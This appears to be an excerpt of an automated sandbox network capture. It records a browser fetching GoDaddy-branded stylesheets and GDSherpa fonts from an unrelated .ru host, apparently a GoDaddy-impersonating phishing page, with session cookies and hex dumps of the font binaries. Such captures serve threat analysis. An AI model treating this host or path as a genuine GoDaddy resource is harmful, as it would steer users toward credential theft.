var(--ux-19wr3kq,1px); border-radius: var(--ux-2jubes,2px);}#sections_godaddy .ux-alert a[href] { color: inherit; display: inline;}#sections_godaddy
2025-03-20 15:55:35 UTC	1369	IN	Data Raw: 6f 3b 0d 0a 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0d 0a 20 20 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 38 70 78 3b 0d 0a 20 20 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 20 38 70 78 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 63 6f 6e 74 61 69 6e 65 72 2d 66 6c 75 69 64 3a 3a 61 66 74 65 72 20 7b 0d 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 22 3b 0d 0a 20 20 64 69 73 70 6c 61 79 3a 20 74 61 62 6c 65 3b 0d 0a 20 20 63 6c 65 61 72 3a 20 62 6f 74 68 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 64 2d 66 6c 65 78 20 7b 0d 0a 20 20 64 69 73 70 6c 61 79 3a 20 66 6c 65 78 21 69 6d 70 6f 72 74 61 6e 74 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 Data Ascii: o; margin-right: auto; padding-left: 8px; padding-right: 8px;}#sections_godaddy .container-fluid::after { content: ""; display: table; clear: both;}#sections_godaddy .d-flex { display: flex!important;}#sections_godad
2025-03-20 15:55:35 UTC	1369	IN	Data Raw: 78 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 6e 6f 6e 65 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 62 75 74 74 6f 6e 3a 66 6f 63 75 73 20 7b 0d 0a 20 20 6f 75 74 6c 69 6e 65 3a 20 76 61 72 28 2d 2d 75 78 70 2d 66 6f 63 75 73 2d 76 69 73 69 62 6c 65 2d 6f 75 74 6c 69 6e 65 29 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 62 75 74 74 6f 6e 2c 69 6e 70 75 74 20 7b 0d 0a 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0d 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 69 6e 68 65 72 69 74 3b 0d 0a 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 69 6e 68 65 72 69 74 3b 0d 0a 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 69 6e 68 65 72 69 74 3b 0d 0a 20 20 6f 76 65 72 66 6c 6f 77 3a 20 76 69 73 69 62 6c 65 3b 0d 0a 7d Data Ascii: xt-transform: none;}#sections_godaddy button:focus { outline: var(--uxp-focus-visible-outline);}#sections_godaddy button,input { margin: 0; font-family: inherit; font-size: inherit; line-height: inherit; overflow: visible;}
2025-03-20 15:55:35 UTC	1369	IN	Data Raw: 63 74 69 6f 6e 3a 20 63 6f 6c 75 6d 6e 3b 0d 0a 20 20 6d 69 6e 2d 77 69 64 74 68 3a 20 30 3b 0d 0a 20 20 77 6f 72 64 2d 77 72 61 70 3a 20 62 72 65 61 6b 2d 77 6f 72 64 3b 0d 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6c 69 70 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0d 0a 20 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 63 61 6c 63 28 76 61 72 28 2d 2d 75 78 2d 31 73 62 66 69 67 38 2c 2e 32 35 72 65 6d 29 20 2a 20 35 29 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 63 61 72 64 2d 62 6c 6f 63 6b 20 7b 0d 0a 20 20 70 61 64 64 69 6e 67 3a 20 63 61 6c 63 28 76 61 72 28 2d 2d 75 78 2d 31 73 62 66 69 67 38 2c 2e 32 35 72 65 6d 29 20 2a 20 35 29 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e Data Ascii: ction: column; min-width: 0; word-wrap: break-word; background-clip: border-box; margin-bottom: calc(var(--ux-1sbfig8,.25rem) * 5);}#sections_godaddy .card-block { padding: calc(var(--ux-1sbfig8,.25rem) * 5);}#sections_godaddy .
2025-03-20 15:55:35 UTC	1369	IN	Data Raw: 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 75 78 2d 62 75 74 74 6f 6e 3a 6e 6f 74 28 2e 75 78 2d 62 75 74 74 6f 6e 2d 69 6e 6c 69 6e 65 29 2e 75 78 2d 74 65 78 74 2d 73 69 7a 65 2d 31 20 7b 0d 0a 20 20 70 61 64 64 69 6e 67 3a 20 63 61 6c 63 28 76 61 72 28 2d 2d 75 78 2d 31 73 62 66 69 67 38 2c 30 2e 32 35 72 65 6d 29 2a 31 29 20 63 61 6c 63 28 76 61 72 28 2d 2d 75 78 2d 31 73 62 66 69 67 38 2c 30 2e 32 35 72 65 6d 29 2a 33 29 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 75 78 2d 62 75 74 74 6f 6e 3a 6e 6f 74 28 2e 75 78 2d 62 75 74 74 6f 6e 2d 69 6e 6c 69 6e 65 29 3a 6e 6f 74 28 5b 64 69 73 61 62 6c 65 64 5d 29 3a 68 6f 76 65 72 20 7b 0d 0a 20 20 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 75 78 2d 31 6b 79 79 Data Ascii: #sections_godaddy .ux-button:not(.ux-button-inline).ux-text-size-1 { padding: calc(var(--ux-1sbfig8,0.25rem)1) calc(var(--ux-1sbfig8,0.25rem)3);}#sections_godaddy .ux-button:not(.ux-button-inline):not([disabled]):hover { color: var(--ux-1kyy
2025-03-20 15:55:35 UTC	1369	IN	Data Raw: 74 2e 75 78 2d 74 65 78 74 2d 61 63 74 69 6f 6e 20 7b 0d 0a 20 20 2d 2d 75 78 54 65 78 74 2d 2d 66 6f 6e 74 53 69 7a 65 30 3a 20 76 61 72 28 2d 2d 75 78 2d 37 34 73 31 62 6b 2c 76 61 72 28 2d 2d 75 78 2d 63 78 62 65 38 67 2c 31 72 65 6d 29 29 3b 0d 0a 20 20 2d 2d 75 78 54 65 78 74 2d 2d 6c 69 6e 65 48 65 69 67 68 74 3a 20 76 61 72 28 2d 2d 75 78 2d 31 64 72 79 32 70 6a 2c 76 61 72 28 2d 2d 75 78 2d 6a 77 35 73 39 6a 2c 31 2e 35 29 29 3b 0d 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 61 72 28 2d 2d 75 78 2d 31 69 72 38 76 74 76 2c 76 61 72 28 2d 2d 75 78 2d 67 66 6e 75 70 76 2c 73 61 6e 73 2d 73 65 72 69 66 29 29 3b 0d 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 76 61 72 28 2d 2d 75 78 2d 34 67 31 72 32 74 2c 76 61 72 28 2d 2d 75 78 2d 6a 34 30 Data Ascii: t.ux-text-action { --uxText--fontSize0: var(--ux-74s1bk,var(--ux-cxbe8g,1rem)); --uxText--lineHeight: var(--ux-1dry2pj,var(--ux-jw5s9j,1.5)); font-family: var(--ux-1ir8vtv,var(--ux-gfnupv,sans-serif)); font-weight: var(--ux-4g1r2t,var(--ux-j40

Timestamp	Bytes transferred	Direction	Data
2025-03-20 15:55:35 UTC	1373	OUT	GET /GDSherpa-bold.woff2 HTTP/1.1 Host: b3rz.5m54lq.ru Connection: keep-alive Origin: https://b3rz.5m54lq.ru sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://b3rz.5m54lq.ru/UFIPVZXDJGVHYEWTscjkpacwfsrsahbhxx0rsr0tmc0ipx3ugeoe3q2?BCHJFAIFMWHGKNRVTUMGJXZSBCQC Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6InNCK0JQU3dFb1FTUHVBOWlseHNJeHc9PSIsInZhbHVlIjoiNEU3QmNUdmVKVFVxWHFhajlHU08zQzFveHRUSkZpcm1nYjU3dzJmblh6aHQ5OWtWeDZPZENIVVY2dU10QXJXZ1hsUnhwQ1ozWXZDTFJ3aXBkR3BHZWh0OGdWL25LNHE2SWhlbW9CZ2RvMkhHOVM0OTgwTGkrMWVOaTRpbzFjUFoiLCJtYWMiOiIyM2VmYmYxNDliM2EyM2ZiMWIwNGY2ODcyMWQ3YTMxMjdjOWVmNWU4MzA1OTg2NzY3MzAyNzI5OWUzOWMxM2RhIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlljdFNnaC9YMXlRc0d6MVVlMFdTbGc9PSIsInZhbHVlIjoiVklha1JsditVa2ZUZTFyeGdZNE9lN2RsemVRMnlVYzlwUHVDbjdpaDVVL1RES0xOMllBaC9lV3c5Zy9nbFJoY1NNMTRma1g2UHc1MXZxZEV4WjE3aExrTy9GVnI4OTQvWVR1MmlUeTNVakYzNHJ0K3h1NndXdUhZZGVma3A4MTQiLCJtYWMiOiIyZjEwMGNhYjM3YWFmMDYzMGJmNzM2MjBmOTYwMGI4ODllMzljM2MxMDA2YTY4YzNlNmY0MDk2YzM2ZmQ5YjZjIiwidGFnIjoiIn0%3D
2025-03-20 15:55:35 UTC	1178	IN	HTTP/1.1 200 OK Date: Thu, 20 Mar 2025 15:55:35 GMT Content-Type: font/woff2 Content-Length: 28000 Connection: close Content-Disposition: inline; filename="GDSherpa-bold.woff2" cf-cache-status: MISS Age: 2995 Last-Modified: Thu, 20 Mar 2025 15:05:40 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2ymvCrhFmynJpz2XBnCSlwOKCb1%2FDt2SRk5k6BiuaKWQsWiVJL3ghJn8KyNltKJqN8jN0mjl7gfXn9X3rpEi%2BX%2BJuSb3oPpd4m%2FARi%2FHEYjg8HSUTjUn15mylT5auAHr9j76"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding server-timing: cfL4;desc="?proto=TCP&rtt=5475&min_rtt=5197&rtt_var=1700&sent=4&recv=8&lost=0&retrans=0&sent_bytes=2821&recv_bytes=2280&delivery_rate=553940&cwnd=250&unsent_bytes=0&cid=c19f16df61918f15&ts=23&x=0" Cache-Control: max-age=14400 Server: cloudflare CF-RAY: 9236650b7fca0fa7-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=106573&min_rtt=106335&rtt_var=22807&sent=6&recv=9&lost=0&retrans=0&sent_bytes=2818&recv_bytes=1945&delivery_rate=34755&cwnd=198&unsent_bytes=0&cid=1e7049710525f962&ts=448&x=0"
2025-03-20 15:55:35 UTC	191	IN	Data Raw: 77 4f 46 32 00 01 00 00 00 00 6d 60 00 10 00 00 00 01 24 08 00 00 6c fd 00 01 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1b 81 9d 36 1c 89 16 06 60 00 8e 3c 08 3c 09 97 62 11 08 0a 82 bb 24 82 9c 7f 01 36 02 24 03 8e 78 0b 87 3e 00 04 20 05 8c 03 07 97 7b 0c 81 0d 5b 09 10 71 05 6b b7 5d 5d 4f 88 db 06 10 73 b3 fd a9 7c 99 02 6e 8c 9b c7 21 18 d6 5b 3c 3b 10 83 ee e0 50 26 a6 cf 67 ff ff ff bf 21 a9 c8 98 49 27 69 b7 0d 51 01 44 50 d5 df 9f c4 1e 39 02 92 4a a0 06 b7 80 17 c1 39 47 eb 95 e9 98 51 31 28 8b f2 29 4a 6e c6 19 d5 d4 c5 d4 38 59 f3 Data Ascii: wOF2m`$lB6`<<b$6$x> {[qk]]Os\|n![<;P&g!I'iQDP9J9GQ1()Jn8Y
2025-03-20 15:55:35 UTC	1369	IN	Data Raw: d2 1b f9 1a 98 29 4a ce 46 0e 63 20 41 96 af 37 6b ab 76 b3 8b e9 32 3d a1 5a ee 6e fa 34 60 12 ed 81 a0 c0 7e 4e 6c a4 81 ef 34 3b aa 91 07 53 f6 6c 7b 77 c7 c7 3a ae 23 d5 ee aa 3d 21 bc 20 bc ef 58 a8 f0 9b c5 a1 13 3e 5b 8f 37 84 95 1b dd c4 fb 92 f6 31 3f 3f e9 b5 33 1b 3f 74 d0 95 c5 71 45 fc 1e 66 c9 95 b6 19 62 97 c3 e1 2c c8 92 46 77 63 70 38 ab af 91 34 5e 02 5e 78 9e b1 7c a7 82 a3 c6 52 6f 3c 25 dc d7 22 2e e1 09 81 7e 30 8f 94 71 ee b7 f8 72 50 88 85 47 11 0b b2 82 f4 97 de 52 ff cd dd bc c0 2d 9d bc 7b 4f 92 51 65 4a a9 db c1 16 d8 36 ec 45 cd 8e 9e f6 ff fe b2 ac aa 7b ef 7b 1f 1a d4 a2 16 d0 2c 68 a5 21 8c cc 83 5f bd 04 bd dd 0b 7f 24 03 cb 33 a9 9d 63 46 40 11 87 3e b9 8f a3 0d a2 0d 1d 8d 74 c0 6f f3 ef d1 46 63 20 88 95 18 59 53 8c af Data Ascii: )JFc A7kv2=Zn4`~Nl4;Sl{w:#=! X>[71??3?tqEfb,Fwcp84^^x\|Ro<%".~0qrPGR-{OQeJ6E{{,h!_$3cF@>toFc YS
2025-03-20 15:55:35 UTC	1369	IN	Data Raw: 97 dd 82 54 aa d6 ae 4b b7 61 e3 26 4c 59 b4 6c 05 db 15 d7 5c 77 d3 1d db f0 bf d6 60 31 5d 4a 97 d3 f5 f4 a4 59 2d 73 e6 2d 58 b4 64 d9 8a 55 6b d6 6d d8 dc d6 b6 77 b0 f6 d0 61 c3 47 8c 1c 35 30 7a cc f8 09 13 27 4d 9e 32 7d c6 cc 59 b3 e7 cc 1d dc f5 1e f7 b9 78 c9 46 1b f3 73 92 35 88 21 b9 90 06 4c a1 ec 44 53 63 41 4a 18 28 48 6b 6b a6 b0 10 96 b2 ea 6e 60 12 8b 54 27 3a 88 0d 21 91 cf 78 89 b0 b1 d8 18 21 22 c5 da ac b1 1d e5 ca f6 61 f6 a8 56 58 53 71 3c 02 8d 44 a2 a2 41 23 e9 58 a6 4f 15 82 22 96 74 9e aa c0 f4 bc 86 89 99 78 96 9e cc 06 39 a9 dd f8 40 7f e2 54 d8 c2 6b b4 1b e6 c5 e1 04 8c 66 32 96 29 88 85 e4 1c c6 0e b7 46 86 56 d0 e4 51 61 62 15 4f 01 27 e6 16 29 b4 dd 95 b0 ee 43 0c a3 4b ea 60 8c c0 09 ad e3 6f 88 46 c1 31 3e 16 2f a6 93 Data Ascii: TKa&LYl\w`1]JY-s-XdUkmwaG50z'M2}YxFs5!LDScAJ(Hkkn`T':!x!"aVXSq<DA#XO"tx9@Tkf2)FVQabO')CK`oF1>/
2025-03-20 15:55:35 UTC	1369	IN	Data Raw: 19 f3 69 78 bc c4 1d 5d e4 a9 75 82 6c 46 dc 61 52 47 75 81 f7 9a 59 0b 79 56 80 3c 2f 6d c3 e0 bb bd e6 87 fe 1c cc 0d 18 38 fa 62 0b 01 bc 05 33 fb 67 82 27 9d 98 3f 21 ff 23 4c 66 24 d3 27 ca 08 44 a9 f4 ff 94 fa eb 3b bb 83 8b 02 47 f2 cd 86 8c 7f 4e e1 32 e7 d8 15 ae 79 f8 47 8f fa 05 96 b1 d9 36 75 60 b8 9c 89 84 ab 0f ce b6 0d b0 e5 e9 e7 53 21 f4 1c 5b 5e ef 2c e5 1d e5 33 06 58 b9 e3 bf 4b 32 40 cb 15 6f 86 0b 94 4f 42 ca e2 c7 88 be 73 54 45 83 70 c0 53 0f 20 a4 a1 c9 b1 40 1c 44 ef 81 97 5a db 50 18 22 a5 a5 70 8f 5f eb 4d ed 09 f5 04 d0 0c 6c ac d1 b3 da a0 5c ef 6b c9 93 48 d8 73 12 fe 6f 47 42 f7 de 47 8d 7e 39 a2 63 8a a3 c3 11 1b f3 63 3b c1 97 86 57 c5 13 9c 32 39 ea a5 bd 1f e9 a5 a8 95 ab e9 c3 25 f8 f4 7b a0 cc 90 77 51 d2 bd f8 79 19 Data Ascii: ix]ulFaRGuYyV</m8b3g'?!#Lf$'D;GN2yG6u`S![^,3XK2@oOBsTEpS @DZP"p_Ml\kHsoGBG~9cc;W29%{wQy
2025-03-20 15:55:35 UTC	1369	IN	Data Raw: 68 57 7d 59 cc f3 f4 eb 74 4c d6 b5 c9 43 86 3d 79 6f 50 db 91 84 e7 ee 0c 54 fb e1 d1 8a eb f5 00 5f 98 7b d5 02 c9 d4 83 39 92 97 e2 70 58 d4 05 60 f1 63 30 c3 d6 0a 9b a6 c4 77 52 42 36 e2 4e 21 d6 57 4e 46 0f 3c c3 ed 46 2e 7c 76 0c b0 f5 48 c7 45 ff c9 ed f1 ab 91 fa 72 a5 ca 0f 4f 04 7a 13 ca b1 46 a7 b9 aa 87 1a 89 7e 63 b0 92 a4 e6 f9 de 46 9f dd 71 be 20 de e9 fd 8c 00 5a c9 1e 8a 23 4a 27 a0 ce 42 1e 5b 6d 40 40 3c bf 46 bf 87 3b 88 a3 bb ff 22 63 84 3f f6 b8 70 7f e1 e6 bf 7e 53 e1 e5 89 5b 97 e8 15 a4 24 20 35 29 73 9b 30 1c 97 3a f4 09 c6 df 6d af a6 d6 b1 39 44 4c 43 64 c3 d7 30 ff 90 97 df d3 35 dd 6c dd 23 7d 72 b0 63 e6 28 7b ec 1b cb 1d 01 12 cf d5 46 05 58 bf 47 3d 6f b5 4b 00 12 0c 03 15 52 e1 0d 36 3c 0b fa cd 75 d3 91 a9 e1 be 6c 7c Data Ascii: hW}YtLC=yoPT_{9pX`c0wRB6N!WNF<F.\|vHErOzF~cFq Z#J'B[m@@<F;"c?p~S[$ 5)s0:m9DLCd05l#}rc({FXG=oKR6<ul\|
2025-03-20 15:55:35 UTC	1369	IN	Data Raw: 04 65 2a 14 5c 8f c7 eb ea 99 43 c4 05 a8 5c 67 31 cd 47 a2 8b 64 af a2 dd 25 0f 30 42 87 63 c5 7e 02 a5 42 d3 64 32 44 01 80 0d 52 50 be b2 37 d0 27 5f 0e b0 93 cc 2b 52 29 c2 37 52 bd c4 24 13 01 62 ac 2c 71 16 6d 89 15 43 a2 4a 3b 58 10 63 15 56 19 85 c5 5a 67 71 36 93 89 64 c8 42 5e fa 4a 16 a3 48 89 c8 fb 86 a8 c7 95 6b f6 a2 f4 d9 42 5c e7 8c c8 5f 20 a2 10 a1 50 0e 9d 41 74 56 1d 2a 51 71 92 c8 4a 96 0a ed 93 8a 89 29 51 0e e3 ab 6a 60 7d 4b 03 9c 1f 74 2c 5e 9b da c2 4a 6b 65 09 da 58 6f 5f b0 f2 da 59 6e 1d ac 82 4e 2a fd d5 ab 8a a3 e8 d1 8b ac 4f 3f 69 03 98 28 06 61 15 0d b1 74 67 59 6f d3 2c c5 28 2b 60 8c 95 31 ce 0a 9a 60 9d 2c b0 42 a6 58 17 4b ac b0 19 96 6a 96 c5 9b 63 15 b1 58 bc 05 56 de 22 4b b1 c4 2a 5a 66 05 ad b0 9e ae b3 de 96 59 Data Ascii: e\C\g1Gd%0Bc~Bd2DRP7'_+R)7R$b,qmCJ;XcVZgq6dB^JHkB\_ PAtVQqJ)Qj`}Kt,^JkeXo_YnNO?i(atgYo,(+`1`,BXKjcXV"KZfY
2025-03-20 15:55:35 UTC	1369	IN	Data Raw: 09 f0 3e e0 c3 8f ff ad 45 f7 3d f5 d6 fb 5a 82 72 a1 6e 7e 7e 7b 37 18 f8 eb 13 2a 2f ef e8 26 36 b5 d9 cd ef fc 58 bb b4 cb bb b9 db bb 1b e4 e5 dc c3 3d 8d df 4a f9 fe d7 96 4f 37 3f 59 8d e7 9d 71 5e ab 6f d5 3a fd e6 a3 ea 80 0b a6 f8 b7 66 9b 6a f9 f3 de b0 6c 5d 91 41 fb 55 e9 61 b1 07 7f af 1a 07 d4 e9 74 d4 71 87 1d 53 6b 42 d2 61 a3 2a dc 56 2f f9 94 4b e8 6e 35 a0 95 fc 21 95 ba 39 12 3d ac 96 41 e5 cc 83 5e 3e db 79 03 f8 0c 5e cb 96 bf 92 2a 5b bd e6 b9 2a a9 bb e2 91 c7 9e 78 e6 b9 57 66 7d b3 65 db 77 bf e3 de 80 35 64 25 fd 36 92 47 cf 3e 7d 5f 6e e3 ad 58 7f be b1 99 be cd 15 de 0b 26 5e 92 c5 62 ef 35 07 6f 38 79 c7 d1 5b 2e 56 29 5a 45 f7 91 a7 7f 79 f9 44 ce 02 0f ff f0 f2 93 bc 4e c0 f5 02 6f c0 b8 91 b2 35 fb 6e 15 7c 8b bd 77 6a dd Data Ascii: >E=Zrn~~{7/&6X=JO7?Yq^o:fjl]AUatqSkBaV/Kn5!9=A^>y^[xWf}ew5d%6G>}_nX&^b5o8y[.V)ZEyDNo5n\|wj
2025-03-20 15:55:35 UTC	1369	IN	Data Raw: d4 a9 f2 d5 8a 3a 2a d5 84 d2 b5 c8 56 0c f5 ae 4b 8d 29 69 f2 a2 75 ba 43 ea 2d 68 58 83 be 83 dd 43 d6 31 ba 15 81 fb 17 de df 75 68 4f ec 7e ab 07 bd e9 34 a9 d7 8a d4 77 27 a0 0e f7 9d 96 ee 5c ef b4 cb 85 21 1e 96 9d a0 a3 b1 c2 7d 45 9d 56 20 61 10 ab 5e 8e af b7 44 c1 41 79 72 28 b2 40 92 a6 76 40 d7 e9 9b 4e 17 70 c3 eb 07 ce b7 44 c7 5b c7 63 f9 4a fd d8 4e 56 2f cf af ee d8 24 78 49 15 c6 14 f7 ab 2c a4 75 fe c9 c2 66 1c d6 24 71 d3 2d 29 99 d0 52 63 a2 e2 cd b4 65 85 a7 0e 36 57 41 36 56 58 30 d6 23 83 e3 70 94 17 66 1c c2 45 aa ae cb b4 7a ea 60 12 7c b4 a5 f8 88 b5 1e 5e c2 f4 84 11 6c b3 6a 2f 19 20 76 93 d4 30 8c a0 43 60 5a 02 b6 86 06 43 15 03 f8 e9 de 72 8e 3a 34 91 e2 f4 87 5f a5 aa 47 88 20 c9 fa fb ce 20 2b 8c 56 d2 ed aa 25 a8 23 24 Data Ascii: :*VK)iuC-hXC1uhO~4w'\!}EV a^DAyr(@v@NpD[cJNV/$xI,uf$q-)Rce6WA6VX0#pfEz`\|^lj/ v0C`ZCr:4_G +V%#$
2025-03-20 15:55:35 UTC	1369	IN	Data Raw: f8 94 af f1 c1 bc 1c 2c af dd 60 23 79 ad ae 50 0a d7 57 bd 3d 56 45 8f f1 55 61 5f 2e ac 3d 06 0a 28 a4 49 6d a6 6f 46 1d 78 2e 47 5c 51 cf 7c ea d0 49 1b 79 95 1a 90 09 07 ff e7 e0 5d 83 d3 28 88 e9 61 21 f3 ca 66 a2 92 b8 04 af ef 77 01 2a 09 ff 91 f0 69 77 23 61 21 25 46 28 08 a1 1a b9 32 ee a4 7a 2c 43 f1 5d 0f d7 d9 65 89 90 f3 df f1 15 f0 d2 09 5d e7 95 37 00 18 28 22 e9 a2 1e b9 c0 9b ab 68 a3 79 74 d9 52 b7 93 7a dc 8b 03 36 d0 90 31 30 a2 22 39 30 0b e9 af c4 ac ee 1a a5 27 78 e5 94 89 1f 92 35 2f d0 e1 36 92 dc 13 cf 16 14 2d f4 74 a5 e6 a9 57 17 69 9d 9f 61 97 5b a0 ea 8a dd 0a 65 cc b0 71 0d 44 47 a3 1c 7c 10 58 24 97 38 21 0c 62 5b 68 70 c9 54 52 48 b1 b4 62 11 48 69 de 26 c2 4b bb 1b 92 67 61 05 df cc 2e 5d fc b1 d9 57 bf 1d 61 25 09 cc c4 Data Ascii: ,`#yPW=VEUa_.=(ImoFx.G\Q\|Iy](a!fw*iw#a!%F(2z,C]e]7("hytRz610"90'x5/6-tWia[eqDG\|X$8!b[hpTRHbHi&Kga.]Wa%
2025-03-20 15:55:35 UTC	1369	IN	Data Raw: 8f 94 09 21 1b 42 3d 1b 7d 1b 34 50 c6 40 f7 f0 f8 30 57 e9 7c 0c 7d 0f b1 ab 87 c3 38 9b e3 57 66 17 81 f8 91 c4 6a 08 1e a1 73 a2 b3 0d 59 7d 44 8b f1 ba 4b f8 4d 02 ea 4b 96 f7 6d 42 bd d0 f6 0b 06 34 25 52 bf 52 4c 70 57 bf 97 33 c0 a8 71 9a 82 4d 81 d9 7c bc f7 d8 5f 66 46 0a 04 a5 9f 95 0f 3d fc 2f 17 3f 5e 43 fd 6c 6d e7 27 06 d3 df 98 97 6a 86 dc 2e 0c ba 71 ba ba 58 36 2e ce 5f 11 69 c0 a3 ae 38 d2 24 16 b8 20 50 cc fd 01 0f eb cb 42 75 0d 29 de 40 02 76 62 ac 0d d6 cc b6 42 3e f2 ed f1 93 3b 5f aa 81 90 71 ec ca ab 8a 73 b5 c4 68 3f 46 e1 c8 59 5d c2 3d da bf f9 eb 22 81 08 df 70 3e a9 f4 1e fe de 91 8e df 17 6f db e8 29 45 d2 10 bf 4e 8c 3d 28 54 f9 9c 6a 56 2d d4 f3 f9 8d 6f bb b1 5d 75 37 03 67 77 4b 0b 12 c2 6e 9b 97 47 5d ba be c7 ca 44 70 Data Ascii: !B=}4P@0W\|}8WfjsY}DKMKmB4%RRLpW3qM\|_fF=/?^Clm'j.qX6._i8$ PBu)@vbB>;_qsh?FY]="p>o)EN=(TjV-o]u7gwKnG]Dp

Timestamp	Bytes transferred	Direction	Data
2025-03-20 15:55:35 UTC	1372	OUT	GET /GDSherpa-bold.woff HTTP/1.1 Host: b3rz.5m54lq.ru Connection: keep-alive Origin: https://b3rz.5m54lq.ru sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://b3rz.5m54lq.ru/UFIPVZXDJGVHYEWTscjkpacwfsrsahbhxx0rsr0tmc0ipx3ugeoe3q2?BCHJFAIFMWHGKNRVTUMGJXZSBCQC Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6InNCK0JQU3dFb1FTUHVBOWlseHNJeHc9PSIsInZhbHVlIjoiNEU3QmNUdmVKVFVxWHFhajlHU08zQzFveHRUSkZpcm1nYjU3dzJmblh6aHQ5OWtWeDZPZENIVVY2dU10QXJXZ1hsUnhwQ1ozWXZDTFJ3aXBkR3BHZWh0OGdWL25LNHE2SWhlbW9CZ2RvMkhHOVM0OTgwTGkrMWVOaTRpbzFjUFoiLCJtYWMiOiIyM2VmYmYxNDliM2EyM2ZiMWIwNGY2ODcyMWQ3YTMxMjdjOWVmNWU4MzA1OTg2NzY3MzAyNzI5OWUzOWMxM2RhIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlljdFNnaC9YMXlRc0d6MVVlMFdTbGc9PSIsInZhbHVlIjoiVklha1JsditVa2ZUZTFyeGdZNE9lN2RsemVRMnlVYzlwUHVDbjdpaDVVL1RES0xOMllBaC9lV3c5Zy9nbFJoY1NNMTRma1g2UHc1MXZxZEV4WjE3aExrTy9GVnI4OTQvWVR1MmlUeTNVakYzNHJ0K3h1NndXdUhZZGVma3A4MTQiLCJtYWMiOiIyZjEwMGNhYjM3YWFmMDYzMGJmNzM2MjBmOTYwMGI4ODllMzljM2MxMDA2YTY4YzNlNmY0MDk2YzM2ZmQ5YjZjIiwidGFnIjoiIn0%3D
2025-03-20 15:55:36 UTC	948	IN	HTTP/1.1 200 OK Date: Thu, 20 Mar 2025 15:55:36 GMT Content-Type: font/woff Content-Length: 35970 Connection: close Server: cloudflare Accept-Ranges: bytes Content-Disposition: inline; filename="GDSherpa-bold.woff" Last-Modified: Thu, 20 Mar 2025 15:55:36 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MNdo6dt9ZaJ%2Ft2Ace6zjoHHs53xZ%2FnwYhXLNk1VeIK%2B2UXsnDg%2FCz9x83kIHHmDTVm8NEucukWQkjPj5AyBmXACtEUZSkP6LepDzgSTOdhyrWQT1Miuj%2By8f0kIsEFEFZHLG"}],"group":"cf-nel","max_age":604800} Nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding Server-Timing: cfL4;desc="?proto=TCP&rtt=4852&min_rtt=4778&rtt_var=1473&sent=4&recv=8&lost=0&retrans=0&sent_bytes=2822&recv_bytes=2279&delivery_rate=567954&cwnd=236&unsent_bytes=0&cid=c874894952ac3300&ts=163&x=0" Cache-Control: max-age=14400 Cf-Cache-Status: MISS CF-RAY: 9236650b8f6d5e4b-EWR alt-svc: h3=":443"; ma=86400
